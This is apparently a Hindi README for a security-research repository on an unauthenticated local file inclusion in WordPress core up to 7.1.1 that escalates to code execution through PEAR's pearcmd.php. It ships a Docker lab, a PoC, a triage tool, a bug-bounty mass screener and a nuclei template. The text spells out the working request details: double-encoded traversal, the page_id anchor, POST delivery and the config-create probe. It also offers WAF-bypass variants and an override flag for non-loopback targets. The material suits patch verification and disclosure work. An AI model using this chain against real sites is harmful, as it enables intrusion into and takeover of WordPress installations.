
WordPress Core <= 7.1.1 अनधिकृत LFI से RCE - सत्यापन लैब, PoC, nuclei टेम्पलेट (GHSA-7hp8-65ch-5whp)
CVE-2026-87902 (GHSA-7hp8-65ch-5whp) को एक पृथक, केवल-लूपबैक Docker लैब में पुनरुत्पादित और सत्यापित करने के लिए सुरक्षा-अनुसंधान सामग्री: WordPress कोर पेज-टेम्पलेट रिज़ॉल्यूशन में एक अनधिकृत स्थानीय फ़ाइल समावेशन, जो रिमोट कोड निष्पादन तक बढ़ाया जा सकता है।
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)स्थिति: प्रदान की गई लैब में सिद्ध।
WordPress 7.1.1 (Twenty Twelve थीम) एक अनधिकृत हमलावर को pagename क्वेरी वेरिएबल के माध्यम से थीम निर्देशिका के बाहर से PHP फ़ाइलें शामिल करने की अनुमति देता है, और - आधिकारिक PHP इमेज के स्टॉक register_argc_argv = On के साथ - PEAR pearcmd.php के माध्यम से एक मार्कर फ़ाइल लिखने और निष्पादित करने की अनुमति देता है:
WordPress: 7.1.1
Theme: twentytwelve (page-templates/ present)
PHP: 8.2 (official image, register_argc_argv=On, PEAR present)
Result: LFI oracle fired (<opml version="1.0">); marker probe executed as
uid=33(www-data) and self-deleted
समान सेटअप के साथ WordPress 7.1.2 ओरेकल को पूरी तरह से अवरुद्ध कर देता है (नकारात्मक नियंत्रण)। यह कंटेनर के अंदर WordPress वेब-सर्वर उपयोगकर्ता के रूप में कोड निष्पादन प्रदर्शित करता है। यह रूट एक्सेस, कंटेनर एस्केप, पार्श्व गति, या होस्ट समझौता प्रदर्शित नहीं करता है।
आवश्यकताएँ: Compose v2 के साथ Docker, Python 3.10+, Docker Hub और wordpress.org (थीम इंस्टॉल) तक नेटवर्क पहुँच।
./lab verify
यह कमजोर लैब का निर्माण करता है, LFI ओरेकल और RCE मार्कर के सक्रिय होने की आवश्यकता रखता है, फिर पैच किए गए लैब का निर्माण करता है और ओरेकल के शांत रहने की आवश्यकता रखता है।
किसी अन्य लूपबैक पोर्ट का उपयोग करने के लिए: LAB_PORT=9499 ./lab verify।
बाद में सब कुछ हटाने के लिए ./lab reset का उपयोग करें।
कमजोर नियंत्रण:
[+] page-* folder(s) reachable: page-templates (traversal can resolve)
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
...
[RCE] pearcmd.php reachable and taking argv: /usr/local/lib/php/pearcmd.php
[!!!] RCE CONFIRMED (pearcmd.php config-create file write):
evidence: uid=33(www-data) (command `id` ran as the web user)
cleanup : probe self-deleted on execution: confirmed
RESULT: VULNERABLE CONTROL CONFIRMED
पैच किया गया नियंत्रण:
[=] oracles did not fire: target patched (>= 7.1.2), ...
RESULT: PATCHED CONTROL CONFIRMED
HTTP 200, WAF ब्लॉक, या ओरेकल मार्कर के बिना आंशिक ट्रैवर्सल को प्रमाण के रूप में स्वीकार नहीं किया जाता है।
./lab start vulnerable # fresh 7.1.1 lab on 127.0.0.1:9471
./lab test # assert LFI + RCE
./lab start patched # fresh 7.1.2 lab
./lab test # assert oracle absence
./lab status
./lab reset # containers, volumes, state
चल रही लैब के विरुद्ध टूलिंग को मैन्युअल रूप से चलाएँ:
python3 poc/triage_cve_2026_87902.py --url http://127.0.0.1:9471
python3 poc/poc_cve_2026_87902.py --url http://127.0.0.1:9471 --rce
nuclei -t nuclei/cve-2026-87902.yaml -u http://127.0.0.1:9471 -silent
उन सिस्टमों के लिए जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है (बग-बाउंटी स्कोप, लिखित एंगेजमेंट), ड्राइवरों को स्पष्ट ओवरराइड की आवश्यकता होती है:
python3 poc/poc_cve_2026_87902.py --url https://target.example \
--allow-authorized-non-loopback [--insecure] [--rce]
wp-includes/template.php में get_page_template() pagename क्वेरी वेरिएबल से एक उम्मीदवार टेम्पलेट फ़ाइलनाम बनाता है। तीन पंक्तियाँ ऊपर की सहोदर शाखा पेज-टेम्पलेट स्लग को validate_file() के माध्यम से पास करती है; pagename शाखा ने कभी ऐसा नहीं किया, और इसके अतिरिक्त एक अतिरिक्त urldecode()-डिकोड किए गए उम्मीदवार को जोड़ती है:
// wp-includes/template.php, get_page_template(), WordPress <= 7.1.1
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // 7.1.2 adds validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
7.1.2 डिकोड किए गए उम्मीदवार पर validate_file() लागू करता है और एक कंटेनमेंट गेट (_wp_is_template_path_allowed()) जोड़ता है जिसे प्रत्येक हल किए गए टेम्पलेट पथ को पास करना होता है।
locate_template() दोनों की जाँच करता है) में page- से शुरू होने वाली एक शीर्ष-स्तरीय निर्देशिका होनी चाहिए। लिगेसी डिफ़ॉल्ट थीम (Twenty Twelve, Twenty Fourteen) और कई wp.org थीम (Neve, Hestia, Sydney) योग्य हैं। शोधित वाणिज्यिक थीम (Divi, Avada, Flatsome, Woodmart, Betheme, The7, Enfold, Salient, Jupiter/X, Porto, Houzez, XStore, Kalium, Uncode) में कोई नहीं होती - ट्रैवर्सल हल नहीं हो सकता; मिरर-सोर्स्ड सूची के लिए PoC में PRO_THEME_PAGE_DIRS देखें।.php में होना चाहिए (कोड द्वारा जोड़ा गया)।register_argc_argv = On और PEAR की pearcmd.php की आवश्यकता होती है।सलाहकार और Patchstack राइटअप एक कार्यशील अनुरोध प्रकाशित करने से इनकार करते हैं। ये विवरण इस लैब में अनुभवजन्य रूप से स्थापित किए गए थे:
page_id एंकर अनिवार्य है। एक अनसुलझा pagename is_404 को फ्लिप करता है, जिसका टेम्पलेट get_page_template() को पूरी तरह से छाया देता है। क्वेरी को किसी भी हल करने योग्य प्रकाशित page_id के साथ एंकर करें।get_posts() pagename को sanitize_title_for_query( wp_basename( … ) ) के माध्यम से फिर से लिखता है: कच्चा .. - बन जाता है, लेकिन %hex अनुक्रम बच जाते हैं; get_page_template() में अतिरिक्त urldecode() ट्रैवर्सल को प्रकट करता है। केवल %252e/%252f काम करता है।redirect_canonical GET को 301 करता है और पेलोड को छोड़ देता है; यह गैर-GET/HEAD के लिए तुरंत लौटता है)।page-templates/ से चार ../।$_POST को क्वेरी वेरिएबल्स में मर्ज करता है) - WAF-एवेज़न टियर का आधार।$argv टोकन को urldecode नहीं करता, और PEAR का कॉन्फ़िग सीरियलाइज़र दोनों कोट शैलियों को एस्केप करता है - इसलिए कच्चा, कोटलेस, +-पृथक प्रोब।| पथ | उद्देश्य |
|---|---|
poc/poc_cve_2026_87902.py | पूर्ण PoC: संस्करण + WAF फ़िंगरप्रिंट, थीम/page-* फ़ोल्डर गणना (wp.org SVN, एसेट-रेफ़रेंस डिस्कवरी, शोधित प्रो-थीम मैप), एंकर डिस्कवरी, 8-वेरिएंट LFI ओरेकल, तुलनात्मक खाली-बॉडी फ़ॉलबैक ओरेकल, --rce pearcmd चेन, --lab docker डेमो |
poc/triage_cve_2026_87902.py | नामित विफल गेट के साथ प्रति-लक्ष्य या बैच निर्णय (EXPLOITABLE / NOT EXPLOITABLE / WAF SUSPECTED / INCONCLUSIVE) |
poc/bounty_screen.py | एक इन-स्कोप बग-बाउंटी एसेट सूची पर काम करता है: crt.sh वाइल्डकार्ड विस्तार → WP फ़िल्टर → पूर्वापेक्षा स्क्रीन → उम्मीदवार हैंडऑफ़ |
nuclei/cve-2026-87902.yaml | Nuclei टेम्पलेट: सुरक्षित LFI ओरेकल (174 पेलोड: 10 page-* शेष, डबल/ट्रिपल-एन्कोडेड टियर, आईडी 1–30) |
WAF फ़िंगरप्रिंटिंग में Imperva/Incapsula, Cloudflare, Akamai, AWS CloudFront/WAF, Sucuri, F5 शामिल हैं। आठ ओरेकल वेरिएंट: डबल-एन्कोडेड, वैकल्पिक %25%32%65 स्पेलिंग, पैरामीटर प्रदूषण, ट्रिपल-एन्कोडेड - प्रत्येक क्वेरी स्ट्रिंग और POST बॉडी में। मल्टीपार्ट बॉडी और कच्चे-स्लैश पेलोड का परीक्षण किया गया और अस्वीकार कर दिया गया (WP इस सिंक के लिए उन्हें प्रोसेस नहीं करता)।
| संस्करण | मूल्यांकन |
|---|---|
| WordPress 7.1.1 | LFI + pearcmd RCE एंड टू एंड पुनरुत्पादित |
| WordPress 6.5.3 / 5.9.17 | LFI ओरेकल पुनरुत्पादित |
| WordPress 4.7.0–7.1.1 (अन्य शाखाएँ) | प्रभावित बताया गया; GHSA के अनुसार शाखा तालिका |
| WordPress 7.1.2 | पैच किया गया नकारात्मक नियंत्रण पुनरुत्पादित |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-87902.yaml
└── poc/
├── bounty_screen.py
├── poc_cve_2026_87902.py
└── triage_cve_2026_87902.py
कमिट नहीं किया गया: .lab-state, __pycache__/, स्क्रीनर आउटपुट फ़ाइलें।
| दावा | स्थिति |
|---|---|
| थीम निर्देशिका के बाहर अनधिकृत LFI | सिद्ध (7.1.1, 6.5.3, 5.9.17) |
वेब उपयोगकर्ता के रूप में pearcmd.php config-create के माध्यम से RCE | सिद्ध (7.1.1 लैब) |
| प्रोब स्व-विलोपन / कोई स्थायी आर्टिफ़ैक्ट नहीं | सिद्ध |
| पैच किया गया नकारात्मक नियंत्रण (7.1.2) | सिद्ध |
| प्रत्येक मध्यवर्ती प्रभावित रिलीज़ का परीक्षण | परीक्षण नहीं किया गया |
| लाइव वाणिज्यिक WAF के विरुद्ध WAF बायपास वेरिएंट | लैब-व्युत्पन्न, WAF-परीक्षित नहीं |
| रूट विशेषाधिकार / कंटेनर एस्केप / होस्ट समझौता | दावा नहीं किया गया |
page_id एंकर और डबल-एन्कोडिंग आवश्यकताओं की पुष्टि करता है; तुलनात्मक wp-content/index.php खाली-बॉडी ओरेकल का स्रोत, यहाँ कठोर साइटों के लिए फ़ॉलबैक के रूप में शामिल)भेद्यता की रिपोर्ट Robert Ressl द्वारा की गई। यह रिपॉज़िटरी स्वतंत्र तृतीय-पक्ष विश्लेषण और टूलिंग है।
MIT - LICENSE देखें।
इस रिपॉज़िटरी को केवल उन सिस्टमों पर चलाएँ जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है। लैब ड्राइवर vulnerable/patched के अलावा अन्य वेरिएंट से इनकार करता है, Python ड्राइवर गैर-लूपबैक लक्ष्यों से इनकार करते हैं जब तक कि --allow-authorized-non-loopback प्रदान न किया जाए, और Compose पोर्ट 127.0.0.1 से बंधा है।
प्रकटीकरण हैंडलिंग के लिए SECURITY.md देखें। इस रिपॉज़िटरी में उत्पादन लक्ष्य, ग्राहक डेटा, एक्सेस टोकन, या वास्तविक सिस्टमों से प्रमाण शामिल नहीं हैं।
विशेष रूप से:
127.0.0.1 पर प्रकाशित करता है।wp-links-opml.php को शामिल करता है, एक स्टॉक कोर फ़ाइल जो एक OPML दस्तावेज़ प्रिंट करती है।--rce ऑप्ट-इन है और सार्वजनिक रूप से प्रलेखित pearcmd.php config-create तकनीक के माध्यम से एक कोटलेस, स्व-विलोपन मार्कर प्रोब (<?=id,unlink(__FILE__)?>) लिखता है; प्रोब अपने एकल निष्पादन पर स्वयं को हटा देता है और PoC विलोपन को सत्यापित करता है। कोई शेल, कॉलबैक, या दृढ़ता नहीं।start पर प्राचीन आधिकारिक इमेज से पुनः प्रावधान करता है; कोई लक्ष्य इंस्ट्रुमेंटेशन नहीं।